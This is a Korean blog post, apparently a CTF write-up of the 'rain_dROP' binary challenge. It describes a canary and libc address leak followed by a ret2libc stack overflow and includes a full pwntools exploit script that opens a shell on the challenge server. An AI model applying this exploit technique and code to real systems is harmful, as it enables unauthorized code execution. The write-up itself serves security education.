rain_dROP문제는 main함수와 WriteName함수, ReadName함수로 이루어져 있다.
WriteName함수에서 입력을 받는다. 그리고 *MK_FP(__GS__, 20)부분이 있는데,
마지막에 특정 메모리 영역이 조작되어 있는지 아니면 기존의 값을 잘 유지하고 있는지 확인해준다.
ReadName함수에서는 Name을 출력해주는데, 이때, 뒤에 나오는 메모리도 같이 딸려 나올 수 있도록 메모리 릭을 해준다.
128자를 채워주면 바로 뒤에 나오는 4바이트가 카나리 영역이다.
이 부분을 건드리지 않은 채로 ReadName함수로 넘어가는데, 이렇게 ReadName에서 카나리 영역을 알아내고, 그 다음 4바이트가 나오고 그 바로 다음 4바이트는 f7~로 시작하는 libc기반 주소가 나온다. 이렇게 카나리와 libc를 릭해낼 수 있다.
문제에서 서버에서의 libc를 주었으니까 __libc_start_main 함수의 주소를 기준으로 system함수의 주소와 sh문자열의 주소를 릭해낼 수 있다.
또한, fgets를 크게 입력 받을 수 있으므로 리턴어드레스까지 덮을 수 있고, 리턴어드레스에 system함수의 주소와 인자로 sh문자열을 넣어주면 쉘을 딸 수 있을 것이다.
다음은 로컬에서 쉘을 딴 캡쳐 사진이다.
from pwn import*
import time
s=remote('localhost',6666)
#s=remote('cykor.kr',10002)
print s.recv(1024)
s.send("1\n")
time.sleep(1)
print s.recv(1024)
s.send("128"+"\n")
time.sleep(1)
s.send("A"*127+"\n")
print s.recv(1024)
s.send("2\n")
time.sleep(1)
print s.recv(1024)
s.send("140"+"\n")
time.sleep(1)
s.recvuntil("\n")
a=s.recv(4)
b=s.recv(4)
c=s.recv(4)
a=u32(a)
b=u32(b)
c=u32(c)
libc=c-1854144
system=libc+0x22860
#system=libc+0x26910
sh=libc+0x14346b
#sh=libc+0x146e4c
print ("canary: "+hex(a))
print ("libc base: "+hex(c))
print s.recv(1024)
s.send("1\n")
time.sleep(1)
print s.recv(1024)
s.send("200"+"\n")
time.sleep(1)
s.send("A"*128+p32(a)+"A"*24+p32(a)+p32(system)+"\xef\xbe\xad\xde"+p32(sh)+"\n")
print s.recv(1024)
time.sleep(1)
s.interactive()
'시스템 해킹 > cykor' 카테고리의 다른 글
rop1-ROP+SROP (0) | 2018.01.02 |
---|---|
2015410212-64비트 쉘코드, 간단한 xor (0) | 2018.01.02 |
derby-카나리 릭 (0) | 2018.01.02 |
2015410208-got overwrite (0) | 2018.01.02 |
daRk_TempLer-read함수의 null (0) | 2017.12.29 |